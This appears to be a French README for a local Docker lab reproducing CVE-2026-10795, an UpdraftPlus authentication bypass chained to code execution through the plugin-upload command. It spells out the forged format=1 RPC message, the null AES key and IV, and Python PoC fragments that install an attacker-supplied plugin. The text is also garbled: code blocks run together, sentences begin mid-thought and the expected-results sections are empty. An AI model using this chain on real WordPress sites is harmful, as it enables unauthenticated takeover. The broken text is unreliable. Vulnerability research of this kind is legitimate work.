La vulnérabilité principale est le contournement de l'authentification. Le laboratoire démontre que ce contournement peut être enchaîné vers un impact de type RCE lorsqu'un état de clé UpdraftCentral privilégié est présent, car UpdraftCentral expose des commandes légitimes de gestion de plugins pouvant installer et activer des plugins WordPress.

Il ne s'agit pas d'une vulnérabilité d'injection directe de commandes. La preuve d'exécution de code provient de l'abus de la fonctionnalité d'installation de plugins authentifiée après avoir contourné la frontière d'authentification RPC.

Ce laboratoire est conçu uniquement pour la recherche locale contrôlée, la compréhension au niveau du code source et la démonstration de portfolio.

## Faits vérifiés

| Affirmation                                                             | Preuve                                                                                                | Comment le vérifier dans ce laboratoire                            |
| ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| UpdraftPlus 1.26.4 est vulnérable dans ce laboratoire.                 | Le service vulnérable accepte un message RPC `format=1` forgé et déclenche `plugin.upload_plugin`.    | Exécutez `python3 poc/poc.py --url http://127.0.0.1:8081`.         |
| UpdraftPlus 1.26.5 bloque le message forgé dans ce laboratoire.        | Le service corrigé ne renvoie aucun corps de réponse RPC et ne déclenche pas la commande forgée.      | Exécutez `python3 poc/poc.py --url http://127.0.0.1:8082`.         |
| Le problème est un contournement de l'authentification dans la couche RPC d'UpdraftCentral. | Une requête RPC non authentifiée forgée peut atteindre le déclenchement de commandes dans la version vulnérable. | Comparez le comportement de `--ping` entre les ports `8081` et `8082`. |
| Le laboratoire n'installe pas le plugin marqueur au préalable.         | L'installation ne comprend que WordPress, UpdraftPlus et un état de clé UpdraftCentral local.         | Vérifiez `/wp-json/cve-lab/v1/id` avant d'exécuter le PoC.         |
| Le PoC installe le plugin marqueur via un RPC forgé.                   | Le PoC envoie `plugin.upload_plugin` avec une charge utile de plugin ZIP dans le champ de données RPC. | Exécutez le PoC puis interrogez `/wp-json/cve-lab/v1/id`.          |
| La cible vulnérable atteint un impact de type RCE.                     | Le plugin marqueur expose un point de terminaison codé en dur qui renvoie la sortie de `/usr/bin/id`.  | La cible vulnérable renvoie `uid=33(www-data) gid=33(www-data)`.   |
| La cible corrigée n'installe pas le plugin marqueur.                   | Le point de terminaison du marqueur renvoie `404 rest_no_route` sur le service corrigé.               | Exécutez le PoC contre `http://127.0.0.1:8082`.                    |
| Le laboratoire nécessite un état de clé UpdraftCentral.                | Le déclenchement d'UpdraftCentral dépend d'une entrée de clé locale et de métadonnées associées.      | Consultez `scripts/setup-wordpress.sh`.                            |

## Hypothèses et inconnues

Ce laboratoire préconfigure intentionnellement un état de clé UpdraftCentral local afin de reproduire une configuration de site où le contrôle à distance a été configuré.

L'état de clé préconfiguré est un prérequis du laboratoire, et non la vulnérabilité elle-même. Il permet au laboratoire de parcourir de manière cohérente le chemin vulnérable d'analyse et de déchiffrement RPC.

Le laboratoire ne prétend pas que chaque installation d'UpdraftPlus est immédiatement exploitable. La chaîne démontrée dépend de la présence d'une entrée de clé locale UpdraftCentral associée à un utilisateur WordPress privilégié.

Le laboratoire démontre un impact contrôlé de type RCE en installant un plugin marqueur qui expose un point de terminaison de preuve codé en dur renvoyant la sortie de `/usr/bin/id`. Il ne fournit ni shell web générique, ni paramètre d'exécution arbitraire de commandes, ni shell inverse, ni mécanisme de persistance, ni vol d'identifiants, ni rappel externe.

Le PoC est limité aux seules cibles locales et refuse par défaut les noms d'hôtes non locaux.

## Résumé de la cause racine

La cause racine est une validation incorrecte des messages RPC UpdraftCentral dans les versions vulnérables d'UpdraftPlus.

Le flux RPC vulnérable accepte un message `format=1`. Le chemin `format=1` n'exige pas la même vérification de signature que les formats de messages plus récents.

Le problème de haut niveau est :

```text
1. The WordPress site has an UpdraftCentral key state configured.
``````text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched

Au lieu de rejeter ce résultat de déchiffrement ayant échoué, le flux vulnérable continue et transmet la valeur à la couche de déchiffrement symétrique.

Le schéma vulnérable effectif est :```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);

Cela modifie la frontière de confiance.

Avant le correctif :```text
failed RSA decrypt result could still reach symmetric decrypt

Voilà pourquoi le service vulnérable transmet la commande RPC forgée, alors que le service corrigé ne le fait pas.

## Pourquoi un contournement de l'authentification peut conduire à une exécution de code

CVE-2026-10795 est mieux décrite comme un contournement de l'authentification car la faille racine se situe dans la couche d'authentification RPC et de vérification des messages.

Cependant, une fois cette barrière d'authentification contournée, le message RPC contrôlé par l'attaquant peut atteindre des commandes UpdraftCentral privilégiées.

Un chemin de commande important est :```text
plugin.upload_plugin

Ceci n'est pas une injection de commande.

Le laboratoire démontre l'exécution de code en installant un plugin marqueur qui expose un point de terminaison unique :```text
/wp-json/cve-lab/v1/id

Cela permet de garder la preuve sous contrôle et évite de transformer le laboratoire en un shell web à usage général.

## Résumé du correctif source

Le comportement pertinent du correctif est que la version corrigée rejette les clés symétriques invalides avant de tenter de déchiffrer le corps du message RPC.

La validation importante est :```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

Le laboratoire valide également l'impact en aval en ciblant le chemin réel de la commande de téléversement du plugin UpdraftCentral.

Le comportement de commande pertinent est :```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()

### Création de l'écouteur

Le chemin RPC vulnérable commence lorsque WordPress reçoit une requête POST contenant :```text
udrpc_message
format
key_name

Cela signifie que l'attaquant n'a pas besoin de connaître un endpoint REST spécial ou une URL d'administration. La requête RPC forgée est envoyée comme une requête POST normale à la racine du site WordPress.

Le PoC envoie :```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>

Ce format est produit par la logique d'indicateur clé d'UpdraftCentral:```php
private function indicator_name_from_index($index) {
    return $index.'.central.updraftplus.com';
}

Le PoC définit donc :```python
KEY_NAME = "0.central.updraftplus.com"

Dans le chemin de code vulnérable, la vérification de signature n'a lieu que lorsque le format est supérieur ou égal à 2 :```php
if ($format >= 2) {
    if (empty($_POST['signature'])) {
        die;
    }

    if (!$this->key_remote) {
        die;
    }

    if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
        die;
    }
}

cette étape de vérification de signature est ignorée.

C'est la limite du contournement d'authentification.

Un message légitime `format=2` est censé inclure une signature valide. Le message falsifié `format=1` n'en a pas besoin, donc le message contrôlé par l'attaquant peut continuer vers le chemin de déchiffrement.

### Flux de déchiffrement vulnérable

Après les vérifications du format et du nom de clé, l'écouteur déchiffre le `udrpc_message` soumis.

Le flux de déchiffrement vulnérable dans UpdraftPlus 1.26.4 est effectivement :```php
$rsa->loadKey($this->key_local);

$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);

$rij->setKey($sym_key);

return $rij->decrypt($ciphertext);

Si le déchiffrement RSA échoue, `$rsa->decrypt()` peut retourner :```php
false

La version corrigée résout ce problème en ajoutant une validation :```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

Quand `$key` est `false`, `strlen(false)` se comporte comme un cas de clé de longueur nulle.

La logique de longueur de clé Rijndael arrondit les tailles de clé très petites à une longueur minimale valide :```php
case $length <= 128:
    $this->key_length = 16;
    break;

Ainsi, l'attaquant peut modéliser le comportement de déchiffrement vulnérable comme suit:```text
AES/Rijndael-CBC
key = 16 null bytes
iv  = 16 null bytes

Le PoC construit cette structure manuellement :```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")

sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"

udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

Sur UpdraftPlus 1.26.4, ce bloc RSA invalide fait échouer le déchiffrement RSA, mais l'échec n'est pas rejeté.

Sur UpdraftPlus 1.26.5, le résultat de déchiffrement échoué est rejeté par la nouvelle protection et le message falsifié n'atteint pas la répartition des commandes.

### Message JSON RPC interne

Le message interne chiffré est une commande JSON classique de type UpdraftCentral.

Pour la validation ping, le PoC utilise :```json
{
  "command": "ping",
  "time": 1710000000,
  "key_name": "0.central.updraftplus.com",
  "rand": 123456
}

Le `key_name` apparaît à la fois à l'extérieur et à l'intérieur du message chiffré. L'écouteur vérifie que les deux correspondent :```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
    die;
}

Le message doit contenir une commande valide:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
    die;
}

L'horodatage doit se trouver dans la fenêtre de rejeu autorisée :```php
$time_difference = absint($udrpc_message['time'] - time());

if ($time_difference > $this->maximum_replay_time_difference) {
    die;
}

Par exemple :```text
plugin.upload_plugin

L'écouteur résout la classe de commande à partir du préfixe, puis appelle la méthode dynamiquement :```php
$msg = apply_filters(
    'updraftcentral_listener_udrpc_action',
    call_user_func(array($command_class, $command), $data, $extra_info),
    $command_class,
    $class_prefix,
    $command,
    $data,
    $extra_info
);

le listener appelle :```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)

Dans ce laboratoire, la clé seedée contient :```text
extra_info.user_id = 1

Donc, le contournement à lui seul fait entrer la commande forgée dans la couche RPC. Les métadonnées de clé injectées déterminent le contexte utilisateur WordPress dans lequel la commande s'exécute.

Dans ce laboratoire, la commande s'exécute dans le contexte administrateur car la clé est associée à l'ID utilisateur 1.

### Sink de téléversement de plugin

La méthode de commande est :```php
public function upload_plugin($params) {
    return $this->process_chunk_upload($params, 'plugin');
}

Le PoC envoie :```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

Pour un téléversement non fragmenté, l'installation s'effectue immédiatement :```php
$install_now = true;

et l'installe à l'aide de l'outil de mise à jour du plugin UpdraftCentral :```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);

Une réponse d'installation réussie contient :```php
return $this->_response(
    array(
        'installed' => true,
        'installed_data' => $data,
    )
);

Le plugin marker enregistre une route REST :```text
/wp-json/cve-lab/v1/id

La seule commande exécutée par le plugin marker est codée en dur :```php
shell_exec('/usr/bin/id 2>&1');

Comme la preuve de concept (PoC) fournit intentionnellement un bloc RSA invalide, la clé symétrique déchiffrée est invalide.

Dans UpdraftPlus 1.26.5, le message forgé s'arrête avant l'analyse JSON et avant la répartition des commandes.

Par conséquent :```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route

Cela maintient le script limité au laboratoire Docker.

Le PoC construit le message RPC interne :```python
inner = {
    "command": command,
    "time": int(time.time()),
    "key_name": KEY_NAME,
    "rand": random.randint(1, 2_147_483_647),
}

et les données sont :```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

Ceci correspond à la conséquence vulnérable du passage de `false` dans la configuration du chiffrement symétrique.

Le PoC utilise intentionnellement un bloc RSA invalide :```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

Enfin, le PoC envoie la requête RPC forgée :```python
fields = {
    "format": "1",
    "key_name": KEY_NAME,
    "udrpc_message": build_udrpc_message(command, data),
}

requests.post(target, data=fields, timeout=timeout)

Après l'envoi, le PoC vérifie l'impact en interrogeant le endpoint marqueur :```text
GET /wp-json/cve-lab/v1/id

Ce résultat prouve que le message RPC non authentifié forgé a atteint un chemin d'installation de plugin privilégié et a activé le code de plugin fourni par l'attaquant dans le laboratoire local.

## Ce que le laboratoire prouve

Ce laboratoire prouve la chaîne technique suivante :```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.

La configuration Docker crée ce prérequis dans les deux cibles afin que la différence entre le comportement vulnérable et le comportement corrigé puisse être testée équitablement.

## Architecture du laboratoire

Le laboratoire exécute deux installations WordPress isolées via Docker Compose.```text
.
├── docker-compose.yml
├── scripts/
│   └── setup-wordpress.sh
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── requirements.txt
├── README.md
└── .gitignore

Le processus de configuration initialise le même état de clé UpdraftCentral dans les deux services :```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1

La contrainte `urllib3<2` évite les avertissements liés à LibreSSL sur certaines versions de Python sous macOS.

## Démarrage rapide

Commencez à partir d'un état de laboratoire propre :```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Indicateurs de configuration attendus:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln

Vérifier les services en cours d'exécution :```bash
docker compose ps

Exécutez la preuve d'identité par défaut contre la cible vulnérable :```bash
python3 poc/poc.py --url http://127.0.0.1:8081

Le script exige intentionnellement l'option `--url`. Cela force le testeur à choisir explicitement la cible au lieu d'attaquer automatiquement les deux services.

## Utilisation du PoC

Comportement par défaut :```bash
python3 poc/poc.py --url <local_target_url>

Exemple de cible corrigée :```bash
python3 poc/poc.py --url http://127.0.0.1:8082

Supported options:

| Option      | Requis | Objectif                                                 |
| ----------- | ------ | -------------------------------------------------------- |
| `--url`     | Oui    | URL cible du laboratoire local                           |
| `--ping`    | Non    | Exécuter une validation de ping falsifié inoffensif au lieu d'une preuve d'identité |
| `--timeout` | Non    | Délai d'expiration HTTP en secondes. Par défaut : `15`   |

Hôtes cibles acceptés :```text
127.0.0.1
localhost
::1

Le plugin marqueur n'est pas stocké dans le référentiel en tant que fichier de plugin autonome. Il est généré en mémoire par le PoC.

La commande RPC forgée est :```text
plugin.upload_plugin

Le PoC chiffre le message JSON-RPC interne en utilisant :```text
AES-CBC
key = 16 null bytes
iv  = 16 null bytes

Si `--ping` réussit mais que la preuve d'ID échoue, le problème vient probablement après l'envoi :```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue

## Résultats attendus

### Cible vulnérable

Commande :```bash
python3 poc/poc.py --url http://127.0.0.1:8081

### Cible corrigée

Commande :```bash
python3 poc/poc.py --url http://127.0.0.1:8082

## Commandes de vérification manuelle

Vérifier la santé du service :```bash
docker compose ps

Inspectez les métadonnées du service corrigé :```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool

Lancer la validation ping uniquement :```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082

Vérifiez le point de terminaison du marqueur directement après avoir exécuté le PoC :```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool

Vérifiez les plugins installés dans le conteneur vulnérable :```bash
docker compose exec -T vuln sh -lc \
  'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

Le service vulnérable doit contenir le plugin marqueur après l'exécution du PoC. Le service corrigé ne doit pas.

## Impact

Ce laboratoire démontre qu'un attaquant non authentifié peut falsifier un message RPC UpdraftCentral qui atteint la répartition de commandes privilégiées dans UpdraftPlus 1.26.4 lorsqu'un état de clé UpdraftCentral approprié existe.

L'impact démontré est de type RCE, car la commande RPC falsifiée abuse des fonctionnalités légitimes de gestion des plugins :```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context

La catégorie de vulnérabilité reste le contournement d'authentification. L'exécution de code résulte d'un impact en chaîne via l'installation privilégiée de plugins WordPress.

## Détection et surveillance

Les indicateurs potentiels incluent des requêtes POST non authentifiées vers la page d'accueil WordPress contenant des champs RPC UpdraftCentral :```text
format
key_name
udrpc_message
signature

Indicateurs de laboratoire local:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)

Supprimer les conteneurs, les réseaux et les volumes :```bash
docker compose down -v --remove-orphans

Supprimez les fichiers de preuves locaux s'ils ont été créés :```bash
rm -rf evidence/

Le PoC refuse les cibles non locales par défaut.

Le plugin marker n'implémente pas de paramètre générique d'exécution de commandes. Il expose uniquement un endpoint de preuve local codé en dur qui exécute `/usr/bin/id`.

Ce laboratoire n'inclut pas :```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow

## Références

* NVD: CVE-2026-10795
  https://nvd.nist.gov/vuln/detail/CVE-2026-10795

* Base de données de vulnérabilités Wordfence: UpdraftPlus
  https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus

* Base de données Patchstack: UpdraftPlus
  https://patchstack.com/database/

* Plugin WordPress.org: UpdraftPlus
  https://wordpress.org/plugins/updraftplus/

* SVN du plugin WordPress.org
  https://plugins.svn.wordpress.org/updraftplus/

* Balises SVN du plugin WordPress.org
  https://plugins.svn.wordpress.org/updraftplus/tags/

* TeamUpdraft: UpdraftCentral
  https://updraftplus.com/updraftcentral/

* OWASP: Aide-mémoire sur l'authentification
  https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

* OWASP: Guide de test de la sécurité Web
  https://owasp.org/www-project-web-security-testing-guide/